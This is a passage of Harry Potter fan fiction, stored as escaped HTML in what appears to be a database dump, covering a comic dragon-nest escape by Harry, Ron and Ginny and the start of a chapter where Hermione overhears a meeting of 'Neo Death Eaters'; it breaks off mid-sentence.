hard.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Owe,&#8221; he\nsaid.&nbsp; &#8220;Portkeys, the best way to\ntravel.&nbsp; Yeesh.&#8221;&nbsp; He stood up and looked around.&nbsp; He eventually located what appeared to be a\nlarge blue log and sat down on it.&nbsp;\n&#8220;Good thing they got these logs here,&#8221; he said with a grin.&nbsp; Harry and Ginny, however, looked skeptical.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Blue logs?&#8221; said\nGinny.&nbsp; &#8220;Do such a thing actually\nexist?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well, if they\ndon&#8217;t exist than how can I be sitting on one?&#8221; said Ron sarcastically.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry suddenly\nrealized something.&nbsp; &#8220;Er, Ron, I don&#8217;t\nthink that&#8217;s a log.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron snorted.&nbsp; &#8220;Well, Harry.&nbsp; If it&#8217;s not a log, than what am I sitting on?&#8221;&nbsp; Suddenly, the log started moving!&nbsp; With a swish, Ron was flung off whatever it\nwas he was sitting on and smashed into a rock wall, face first.&nbsp; He silently slid down.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">What had appeared\nto be a log was in fact the tail of a blue dragon with large shiny eyes.&nbsp; It seemed to be quite angry for having been\ndisturbed from its sleep.&nbsp; It breathed a\nburst of fire that nearly singed the Mage Knights.&nbsp; With a scream, the three dashed behind the rock wall.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Way to go, Ron,&#8221;\nsaid Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh, like I knew\nit was a dragon,&#8221; said Ron.&nbsp; &#8220;And I also\nsuppose I knew it would get that angry.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ginny\nsnorted.&nbsp; &#8220;Ron, you remember the\nHogwarts motto, &#8216;<i>Draco Dormiens Nunquam Titillandus</i>&#8217;, right?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What?&#8221; asked Ron,\nlooking confused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Never tickle a\nsleeping dragon,&#8221; supplied Ginny.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron snorted,\n&#8220;Yeah, sure I knew that.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Quiet,&#8221; hissed Harry.&nbsp; He looked out from behind the rock to see if\nthe dragon had gone back to sleep.&nbsp; &#8220;Its\nan opaleye, they&#8217;re one of the most docile of dragons but still quite dangerous\nif aggravated like this one is.&nbsp; Its\njust a juvenile though so I suppose&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Uh, Harry,&#8221; said\nRon, as he tapped Harry on the shoulder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Not now, Ron.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Uh, Harry, you\nshould really turn around.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry whipped\naround angrily as he said, &#8220;Well, what is i&#8230;&#8221; Harry stopped short when he came\nface to face with an even larger opaleye dragon.&nbsp; The dragon gave off a mighty roar and flames as the three Mage\nKnights scrambled away, looking panicked.&nbsp;\nAfter running for a while, the three made into a large clearing,\nsurrounded by more rock walls.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well, I guess we\nshook off those dragons,&#8221; said Ron.&nbsp; He\ncouldn&#8217;t have been more wrong when another dozen opaleye dragons crawled into\nthe clearing from behind the rock walls, effectively surrounding the\nthree.&nbsp; The Mage Knights froze as the\ndragons all burst out a gust of flame!&nbsp;\nHaving nowhere to escape, Harry, Ron, and Ginny used a blast of magic to\nescape upwards.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">After flying\nthrough the air for a few minutes, screaming all the while, the three Mage\nKnights landed in a heap on one of the rock walls.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Isn&#8217;t life\nfantastic?&#8221; said Ron.&nbsp; &#8220;We come all the\nway to Durmstrang only to end up as dragons&#8217; dinner.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;We must be in a\ndragons&#8217; nest,&#8221; said Ginny.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron snorted.&nbsp; &#8220;Oh, like that wasn&#8217;t obvious.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well we have to\nfigure out some way to get out of this mess,&#8221; said Harry.&nbsp; After some quick thinking, the three decided\nto sneak past the dragons as secretly as possible.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry, Ron, and\nGinny silently crept past the rock walls trying to make as little sound as\npossible.&nbsp; After crawling a couple of\nmeters, the three were almost out of the nest when Ron stepped on a twig.&nbsp; Immediately, the dragons were upon them and\nthe Mage Knights were forced to run back into the nest as they avoided claws,\nteeth, and fire.&nbsp; Soon, the knights\nfound themselves cornered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What do we do\nnow?&#8221; shouted Ginny.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What do you think\nwe do?&#8221; said Harry.&nbsp; He drew out his\nsword.&nbsp; &#8220;We fight!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Are you crazy?&#8221;\nyelled Ron.&nbsp; &#8220;Why not just serve\nourselves to them on a silver platter?!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;We&#8217;ve fought a\ndragon before, Ron.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;That was just one\nhorntail.&nbsp; And my emphasis is on the\nword &#8216;one&#8217;!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry ignored Ron\nas he leapt forward.&nbsp; With a boost of\nmagic, Harry leapt some twenty feet into the air and swung his sword sideways\nat one of the opaleyes!&nbsp; Although, the\nblade was unable to pierce the tough dragon scales, Harry still managed to\nknock the dragon off of its feet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron and Ginny also\ndrew their swords reluctantly.&nbsp; &#8220;I&#8217;ve\nalways thought he was a little crazy,&#8221; mumbled Ron.&nbsp; &#8220;But I didn&#8217;t think it would run that deep.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Ron, just shut up\nand work on getting out of here!&#8221; yelled Ginny.&nbsp; She leapt forward and rolled beneath another dragon&#8217;s leg.&nbsp; Not taking any chances, Ginny even managed\nplace a blow on the dragon&#8217;s left hind leg as she rolled away.&nbsp; The dragon howled in pain.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">This left Ron in\nthe dragons&#8217; mercy.&nbsp; As the dragons&#8217;\ncharged at him, Ron suddenly remembered something Hermione had once told\nhim.&nbsp; &#8220;The eyes!&#8221;&nbsp; Ron fired a Conjunctivitus curse at the\ndragons&#8217; blinding them.&nbsp; The opaleyes\nstarted thrashing about, but Ron managed to sneak his way around them.&nbsp; &#8216;Guess I ought to thank Hermione when I see\nher,&#8217; he thought.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The three knights\nhad once again made it to the edge of the nest when the last opaleye swooped\ndown in front of them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Scatter!&#8221; yelled\nHarry.&nbsp; The Mage Knights darted in three\ndirections, temporarily confusing the dragons.&nbsp;\nHowever, it soon let the dragon instinct of targeting virgin maidens\ntake over and chased after Ginny.&nbsp; Ginny\nrolled back and forth avoiding the flames issued by the dragons.&nbsp; Eventually, she managed to get her footing\nand shout <i>&#8220;Reducto!&#8221;</i>&nbsp; The blast\ncaught the dragon in the eyes and it hollered in pain.&nbsp; Not missing their chance, Harry, Ron, and\nGinny leapt into the air and swung their swords at the opaleyes head!&nbsp; The combined blow knocked the young dragon\nunconscious.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Overcoming the\nfinal obstacle, Harry, Ron, and Ginny made it out of the dragons&#8217; nest.&nbsp; Harry turned to his two friends and asked,\n&#8220;You two OK?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron was burned\nblack and he actually had smoke issuing from his body, but he grinned and said,\n&#8220;Never better.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ginny raised an\neyebrow.&nbsp; &#8220;Really?&nbsp; You look you&#8217;ve just gone through a\nvolcano.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh, and I suppose\nyou look any better,&#8221; said Ron.&nbsp; Ginny\nalso had steam coming off her armor and she was filthy due to all of the\nrolling she had done.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ginny turned back\nto Harry and said, &#8220;At least we now know why this part of Durmstrang is\nsparsely populated.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Yeah,&#8221; said Harry\nwith a smile.&nbsp; &#8220;We may have ended up in\nan opaleye nest but it would have been a lot worse if we had landed in the\nmiddle of a village.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Yeah, we&#8217;d be\nless burned,&#8221; said Ron.&nbsp; Harry couldn&#8217;t\nhelp but grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well, come on\nboys,&#8221; said Ginny.&nbsp; &#8220;We need to get to\nthe royal capitol as fast as we can and we aren&#8217;t getting any closer just\nstanding around here.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry sobered up\nand nodded.&nbsp; &#8220;Hermione&#8217;s there.&nbsp; I need to get there as fast as I can.&nbsp; God knows what they&#8217;re doing to her as we\nstand around.&#8221;&nbsp; He shuddered at the\nthought and tried to ignore the lump in his throat as he thought of Hermione&#8217;s\npredicament.&nbsp; Within seconds, the Mage\nKnights had started the long journey to their destination on foot.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N Well, how was\nthat.&nbsp; After all the seriousness and\nsadness of the previous chapters, I really needed some comic relief.&nbsp; So did that bring a smile to your face?&nbsp; I hope so.&nbsp;\nI&#8217;ll answer some questions people have in the next chapter.&nbsp; R/R.&nbsp;\nNext: So what is happening to Hermione at this moment?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(123, 7, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\nChapter\n7: Neo Death Eaters\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione couldn&#8217;t\nthink of a time when she had ever been more miserable, with the exception of\nher brief stint in Azkaban.&nbsp; Durmstarng\nPalace was nothing like the hell- hole of the dementor-infested fortress but\nshe still longed for Harry and her children.&nbsp;\nUnlike Azkaban, where at one point she had been left hanging in shackles\nnaked, Hermione was treated like the queen that she was.&nbsp; She was given plenty of food, was able to\nbathe freely, was free to walk around the palace so long as she didn&#8217;t leave\nits grounds, and had plenty of servants waiting on her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">But perhaps the\nnumber one difference between Durmstrang and Azkaban was that here, she had\nhope.&nbsp; When Hermione was in Azkaban, she\nhad just witnessed the apparent murder of Harry and that coupled with the\ndementors&#8217; ability to suck away all positive thoughts had brought her to the\nedge of despair.&nbsp; This time, there were\nno dementors and she knew that Harry would never give up on his search for her.&nbsp; She and Harry were connected to each other\nwith a bond that was harder than diamond.&nbsp;\nStill, she ached horribly for being away from him and their children and\nshe often cried herself to sleep.&nbsp; At\nleast she was able to be with them in her dreams.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Viktor Krum\npresented her with the most splendid of jewelry and the most elegant of dresses\nin attempts to convince her to accept her new &#8220;home&#8221;.&nbsp; Hermione refused to even give an eye to the gifts.&nbsp; She was also disappointed that the palace\ndidn&#8217;t have a library; it turned out that Durmstrang didn&#8217;t think education as\nimportant as the Alliance did.&nbsp; However,\nwhen she pointed this out to Krum, he ordered that a library be built and he\nmanaged to get a hold of as many books as he could (though it was still only a\nfraction of the book stock in Hogwarts or Godric&#8217;s Hollow).&nbsp; Reading was Hermione&#8217;s favorite pass time\nand it also provided her with an escape from her misery.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione also\nspent much of her time exploring the castle.&nbsp;\nHer excuse was that she wanted to get to know it better.&nbsp; The truth was that she was looking for\npossible routes where she could escape if the need ever rose.&nbsp; Within a few days, she knew all of the\npassages within the palace backwards and forwards.&nbsp; She had also studied some history and geography books that had\nbeen supplied so that she could possibly escape from the continent and maybe\neven stow away on a ship for Magiterran.&nbsp;\nHowever, she decided to first wait and see how the Alliance was going to\nreact to the chain of events.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">One day, while\nHermione was exploring the palace, she chanced upon a conference room.&nbsp; It was a plain room with gray walls and a\nsingle large round oak table in the middle with chairs all around it.&nbsp; While Hermione was examining the table, she\nwas startled by the sound of many feet walking toward the room.&nbsp; Hermione jumped into a nearby broom closet\njust as the doors opened.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Karkaroff entered\nleading a number of people into the room.&nbsp;\nThey each sat in a chair and circled around the table.&nbsp; Peering through the keyhole, Hermione shuddered\nas she recognized two of the company: Flame and Edward Lingilam.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Karkaroff caught\neveryone&#8217;s attention.&nbsp; &#8220;I hereby call\nthis secret meeting of the order of Neo Death Eaters.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione had to\ncover her mouth to keep herself from gasping.&nbsp;\n&#8216;Death Eaters?&#8217; she thought.&nbsp;\n&#8216;They should&#8217;ve all been killed in the war.&nbsp; Are these survivors?&nbsp; Or\nare they another following of the legacy of Voldemort?&#8217;&nbsp; Hermione held her breath as she listened to\nthe conversation.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;So Igor, tell\nme.&nbsp; Are the rumors true?&#8221; asked one of\nthe Neo Death Eaters.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Karkaroff nodded\nsolemnly.&nbsp; &#8220;It is true, Harry Potter has\ncome to Durmstrang.&#8221;&nbsp; Hermione could\nbarely keep herself from jumping with joy.&nbsp;\nThe Neo Death Eaters seemed to be some where between pleased and\nfurious.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Mage Knights in\nDurmstrang?&nbsp; That is an act of war!&#8221;\nyelled another Death Eater.&nbsp; Flame\nsnickered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;But this was what\nwe wanted in the first place,&#8221; she said.&nbsp;\n&#8220;To lure Potter here right into our clutches.&nbsp; He will come to the palace where he will face all of our\navailable forces.&nbsp; The whole point is to\ncapture him.&nbsp; Besides, it gives us a\nlegitimate excuse for us to go to war against Magiterran.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;But why do we\nneed him here?&#8221; asked the same Death Eater.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Karkaroff\nshrugged.&nbsp; &#8220;It is the master&#8217;s wish,&#8221; he\nsaid.&nbsp; &#8220;He will not explain his\nwishes.&nbsp; We simply carry them out.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Lingilam\nlaughed.&nbsp; &#8220;Ah but why should we listen\nto the master&#8217;s orders at all?&#8221;&nbsp;\nKarkaroff glared at him while Lingilam smirked.&nbsp; He continued, &#8220;Potter will eventually cross\nthe Lestranges.&nbsp; Why not let them\ncapture him.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Karkaroff pondered\nthis for a moment until he said, &#8220;I will take it up with the master.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;See that you do,&#8221;\nsaid Lingilam.&nbsp; Karkaroff raised his arm\nto his mouth and started whispering into it.&nbsp;\nA few minutes later, Hermione felt as if her heart had stopped when a\ncold, high-pitched, yet strangely familiar voice called out into the room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Edward, Edward,\nEdward,&#8221; said 